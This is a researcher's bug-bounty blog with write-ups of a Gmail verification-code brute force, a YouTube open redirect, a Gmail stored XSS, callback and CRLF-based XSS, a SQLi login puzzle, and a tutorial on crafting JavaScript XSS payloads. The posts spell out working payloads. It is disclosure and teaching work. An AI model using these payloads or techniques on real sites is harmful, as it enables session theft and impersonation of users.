Monday, 24 November 2014

How I was able to send a mail with Your Email Id?

How I was able to send a mail with Your Email Id? Is it possible?

Yes. It is. If you are using Gmail, until yesterday, I can send email with your email id. Do u want to know how?

Read my story then....


Hi Friends,

This is Mohan Kallepalli, again with another bug in gmail...

Thanks to facebook, another day started with frustration. I will tell u that story another time. Anyway, with the frustration on facebook, i turned my focus to my favorite Google one more time. While I was going through the Gmail settings, thanks to my low speed internet, my browser suggested me to use "Basic HTML".

Once i opened my settings in Basic HTML, i went to Accounts section and there i saw the functionality for adding another users email id to your "send email as" list. This functionality is protected by a verification code authentication mechanism. which means, Gmail will send a verification code (9digits) to the target email id and you need to enter that code in your verification page to get the access.

Well, as like as any other tester, i tested the functionality with different wrong codes, then i came to know that the verification code is not expiring untill you use it successfully or a new code is generated again.

So i tried to brute force the last 3digits first. Infact i thought, i'll be locked out if i try multiple times. But to my surprise, after a 216 attempts, i saw different server response for all the requests, with "no error message".

When i refreshed my settings page, i saw the target email was successfully added to my settings. Now all i need to do is, make your email as my default reply address and send mails.....

I tested the issue for last 5digits of the 9, with 5200 requests and broke it. In the same way it is possible to break all the 9digits too with reasonable resources

You can view the same on the following video if you like...



Suggestions and Queries/Corrections are always welcome...

Tuesday, 18 November 2014

Youtube URL Redirection..

Hi Guys,

Another bug in Google.. This time is with youtube.com

Hmm.. Found a bug in Youtube.. but unfortunately, this bug is out of scope.. Anyway, a bug is a bug.. Lets see..

The issue is an URL redirection vulnerability that existing in upload.youtube.com. When you upload a video which is not proper (invalid), the application redirects you to error URL. This URL is being sent to the server as a parameter, error_redirect. I tried changing the url to some random domain, and guess what, it redirected as i have uploaded an invalid video.

Then, in the request i observed there are two user specific tokens going to the server. They are nothing but anti-csrf tokens and working properly with a valid video. But in the case of an invalid video, they are no longer validated and are being ignored. So i tried to send the request with invalid file, but this time i removed the user specific tokens user_token and session_token. And as i expected, the application issued an 302 redirection to the url in error_redirect parameter.

So finally, i got a URL Open Redirection vulnerability in Youtube. Unfortunately, the bug is out-of-scope. But they fixed the bug nevertheless, by accepting all videos to the processing stage without validating the video.

A video presentation for the same can be found here...


Suggestions and Queries/Corrections are always welcome...

Tuesday, 22 April 2014

Tailoring Custom Javascript Payloads for a successful XSS...


Hey Guys,

Today I would like to show you, how i was able to create custom XSS payloads based on existing javascripts in various websites.

Note that this write-up does not show you how to get XSS in various websites, but it covers various ways to create custom xss payloads.

The approach i follow to create a successful xss payload involves in 3 steps.

1. Analyse the native code
2. Construct the correct syntax
3. Execute the payload

For explanation purpose i considered GET based user input, however, this method will work on POST method also.

1. Analyse:
This stage involves the analysis of the web-page code in which we are creating a payload. It is important that the main limitation in this stage is that, the user input we entering should be returned in between script tags.
index.php?name=test  should return the payload as follows.
<script>
...........
..test..
...........
</script>

If the user input is not rendering in between <script> tags, then the following approach can not be useful.

2. Construction:
This is the main stage in successful creation of the payload. This part involves multiple cases as follows.

i. input returned as part of another function:
If the user input is returned as part of another function body or name, then we can use '+ or '- or "+ or "- combinations to break the syntax into two. remember the usage of ' or " depends on the string character implemented in the page.

sample payloads can be as follows.

*. if   index.php?name=test   returns the payload as   displayname("test");   then we can use the payload as,
name=")+alert(1)+("     ----gives--->   displayname("")+alert(1)+("");
name=")-alert(1)-("     ----gives--->   displayname("")-alert(1)-("");
name=')+alert(1)+('     ----gives--->   displayname('')+alert(1)+('');
name=')-alert(1)-('     ----gives--->   displayname('')-alert(1)-('');
or we can complete the native function and opens our own function as follows
name=");alert("1      ----gives--->   displayname("");alert("1");
name=');alert('1      ----gives--->   displayname('');alert('1');

*. if   index.php?name=test   returns the payload as   test(".......");   then we can use the payload as,
name=alert(1);blabla     ----gives--->    alert(1);blabla (".......");
name=alert(1)+blabla     ----gives--->   alert(1)+blabla(".......");
name=alert(1)-blabla     ----gives--->    alert(1)-blabla (".......");
name=alert(1)//blabla     ----gives--->   alert(1)//blabla(".......");

ii. input returned as part of javascript object:
If the user input is returned as part of javascript object, then we have to create a syntax which can properly handle the javascript object. This can involves 1. displaying javascript objects  2. ignoring objects by commenting  and by making null functions 3. breaking the syntax into multiple lines by Line Feed Characters.

lets consider following request and response.

*. if   index.php?name=test     returns as object handling function name like    test({"....":"..."})  then we can use the payload as,
name=alert(1)//     ----gives--->   alert(1)//({"....":"..."});
name=alert(1)+alert     ----gives--->   alert(1)+alert({"....":"..."});
name=alert(1);document.write ----gives--->   alert(1);document.write({"....":"..."});

However, the above payload might not execute properly due to poor handling of the javascript objects.
In such cases, we can create our own functions to handle the javascript objects. Consider the following payload.

name=alert(1);function aaa(obj){} aaa ----gives--->   alert(1);function aaa(obj){} aaa({"....":"..."});

In the above payload, we can see that the payloads returned as a complete java script.

*. if   index.php?name=test     returns as part of object body like    blabla({"test":"value"})  then we can use the payload as,
name=":""});alert(1);blabla({" ----gives---> blabla({"":""});alert(1);blabla({"":"value"})

But these methods fail when the user-input is limited in the use of single and double quotes.

iii.input returned as javascript comment:
*. if   index.php?name=test     returns as part of javascript comment like    //test  then we can use the payload as,

name=%0aalert(1)//   ----gives--->    //
alert(1)//
The following payload can also work, but with multi-line user-input only.
name=aaa ----gives--->    //aaa
          alert(1)// alert(1)//
In these payloads, javascript comment lines are very useful to ignore the remaining lines returned from the server. However, sometimes it is now possible to use comment line characters. In such cases, the remaining way to create a successful payload is by completing the proper syntax of the existing function.
This way we can construct custom javascript payloads based on how our input is implemented in the web-page.
3. Execution:
This stage involves the original exploitation of the payload. In this stage, we can try the following.
1. payload executes as part of an event.
in cases where alert, confirm, prompt are not accepted as event handling methods, we can always create dummy function with alert, confirm, prompt in the function body and call the dummy function as a event handler.
2. payload accepted as GET parameter.
this is the most easiest way to exploit this type custom payloads. Pass the payload as GET parameter value and run the URL.
3. payload accepted as POST parameter.
this case involves additional exploitation techniques like CSRF or click jacking. or we can always try changing the request method from POST to GET.
In this way, we can try to create a custom javascript payload and execute it as part of web-page. These are the cases i faced when i test my applications. Suggestions and comments are always welcome for any/all other test cases.

Suggestions and Comments/Corrections are always welcome..
THANK YOU.

Friday, 11 April 2014

How I Got My First Bounty.. " A Tale of GMAIL Stored XSS "



Hey Guys,


This bug i reported a longback and fixed now. Lets jump into the story.


In GMAIL settings general tab, there is an option for creating an automatic mail responder, in case if we go on a vacation and if we dont want to be disturbed. While going through gmail, like all the others, i also ignored that feature and tried here and there.

At the same time one of my goood friend @iampr3m was also testing Gmail and he was trying hard to find something in the same settings page. However that guy begin his testing from the top and testing in the Signature feature. So i started testing the settings page from bottom and i got lucky to have the vacation responder in the bottom of the page.

So, while testing, I observed that the vacation message is going in between a div tag. So as usual, i used a simple payload with img tag (  <img src=a onerror=alert(1)>  ) to test my luck. As soon as the payload entered with < and >, the server invalidated the input and stripped of the special chars. So i tried the same payload in URL encoded form (  %3cimg%20src%3da%20onerror%3dalert(1)%3e  ) and this time i got lucky. The tag was successfully embedded. 

However the payload was not executing properly due to poor rendering of img tag in the response. It took too much time to execute. So i changed my payload to more simple and my default xss payload with style tag (in URL encoded form).

%3Cstyle%20onload%3D%22alert(1)%22%3E%3C%2Fstyle%3E

This time the payload executed successfully and got the popup. The next thing i tried was, to check where the payload got execute. For that i used alert(document.location). and to my surprise the payload got execute within the main domain itself.

The exact payload i used to get an xss was   
asdsssasd%22%26gt%3B%3Cstyle%20onload%3D%22alert(document.location)%22%3E%3C%2Fstyle%3E


I reported the bug to GOOGLE Security team in October, 2013 and got patched within 10 days... This is the story of  "how i got my first bounty" ( with a little luck of-course )... 

THANK YOU...



Thursday, 10 April 2014

Simple Login Page Bypass..



Simple Login Page Bypass Using SQLi..

The following code is being used in a login check page.

Find the proper credentials for getting a successful authentication alert.


$result = mysql_query($sql);
if(mysql_num_rows($result) == 0){
echo "<script>alert('failed')</script>";
} else {
$res = mysql_fetch_array($result);
if($res[2]==$pwd&&((!$res[7])&&($res[3]))) {
echo "<script>alert('success');</script>";
} else {
echo "<script>alert('failed');</script>";
}
}


Find USERNAME & PASSWORD

or find the answers here









Sunday, 6 April 2014

Cross Site Scripting through callback functionality


Hello Guys,

Today i would like to share a Cross Site Scripting Vulnerability that was existing in JSON/AJAX callback functionality. I found this vulnerability a few days back, but as the bug is fixed now, i'd like to share the story.

The vulnerability is existing in the forgot password functionality. The forgot password functionality uses an ajax based request/response mechanism within the login page. While testing the application, i observed that the application is using a callback function to render the response into the application.


This callback function name is being passed as a GET parameter. With a little analysis, i found that the callback parameter is vulnerable to Cross Site Scripting vulnerability. So i extracted the forget password request and crafted a GET based URL request with a simple XSS payload as the callback value.

https://www.DUMMY-WEBSITE.com/users/ajaxonforgotpassword.php?callback=<script>alert(document.cookie)</script><!--+



So i submitted the bug to the security team. And once my bug is validated, it was fixed and i got a cool T-Shirt as a gift Swag.

As the countermeasure to my XSS Bug, they implemented html entity encoding for the callback parameter and hence all the conventional xss payloads are restricted successfully.


After few days, while testing another site, i found similar callback approach but this time with few limitations.

1. only the function "name" can be specified and it should contain only alphabets.
2. the payloads you enter will be returned as a javascript object.
3. if you use " or ' in the request, it will generate an exception.

So, in order to create a successful XSS payload, i tried  1. displaying javascript objects  2. ignoring objects by commenting  and by making null functions 3. breaking the syntax into multiple lines by Line Feed Characters etc.,

However these techniques are not enough to get an XSS in that application, but then i remembered the bug i submitted earlier. 
As a countermeasure, the security team implemented html encoding for vital xss characters (such as < > " ' etc), but, they did not change the way the callback parameter work. Which means, the parameter value is still being returned as the function name and that too without any encoding (except the XSS chars like ' " < > etc).

So i followed the same approach as above and created a javascript syntax, so that the response will create an exact xss payload.

Payload created :
       alert(document.cookie);function+aaa(obj){}+aaa



This way, i got a cross site scripting vulnerability one more time on the same URL and same Parameter i submitted earlier.

Tuesday, 11 March 2014

Cross Site Scripting Filter Bypassing using Header Injection (CRLF).....

Cross Site Scripting Filter Bypassing using CRLF.....

This is my first technical writing. So please share your reviews and suggestions..

I would like to share a cross site scripting vulnerability found in one of the application I was testing. Usually xss is very common in the websites. However I found this one interesting, as this vulnerability is triggered using another known vulnerability CRLF.

The application I was testing is very secured in case of xss as it is having restrictions on both input and output.
1. whenever a tag with "<" and ">" together (like <script>)is used in input, the application will filter and redirect to an error page.
2. If you use either "<" or ">" without the other then it'll encode the input to html entity encoded form.
So I find this irritating and tried all known attack vectors, found nothing but logged out forcibly.

So I stopped hunting for xss and concentrated more on other conventional bugs. After a long search, I found an interesting page where there is an option to download a certain file. So as usual, like all the others, I tried to get an LFI & RFI but instead of an LFI,  found something different.. The files I'm trying to include are not getting included. But the filename parameter value is reflecting as an empty attachment name. 


So I tried few garbage chars first and when they were returned as the attachment name, then finally I tried with the /r/n and to my surprise they are also returned by the server, however they are not parsed. So, as a final attempt I tried encoded format and  bingo.. The server parsed the %0d%0a chars and the next statements are returned as the response headers..


But this finding was not enough for me. So I tried to include some html code to execute and failed again because every time  html tag is used, the server redirects to an error page and logs-me-out. It is because of the attachment type header, the content is not directly rendering but it downloads the page.


So to bypass this html tag based filter I needed a html tag which need not be closed and should be able to execute a javascript.. so I searched here n there for a while, and came up with the following body tag,

I crafted my payload as     %0d%0a%0a%0a<body/onload=alert(1)   and used it as the input.. as a result the server parsed the input and sent a file with <body/onload=alert(1) as the response.


As the file is having no file name and because of the file permissions enforced on the current page, the file download window will not allow to save the file. So the only option left for the user is to click "open"  and guess what.... alert(1) popped up..


The downloaded file will be executed or opened outside the domain scope as the developer did not enforce any html entity encoding on the contents of the downloaded file, and this fact also helped me to get the xss...

Finally I got an xss in the application developed very carefully especially to restrict xss...

This is the story of an xss triggered with crlf.. please share ur suggestions & reviews at mohan.gcsm@gmail.comfacebook.com/mohan.gcsm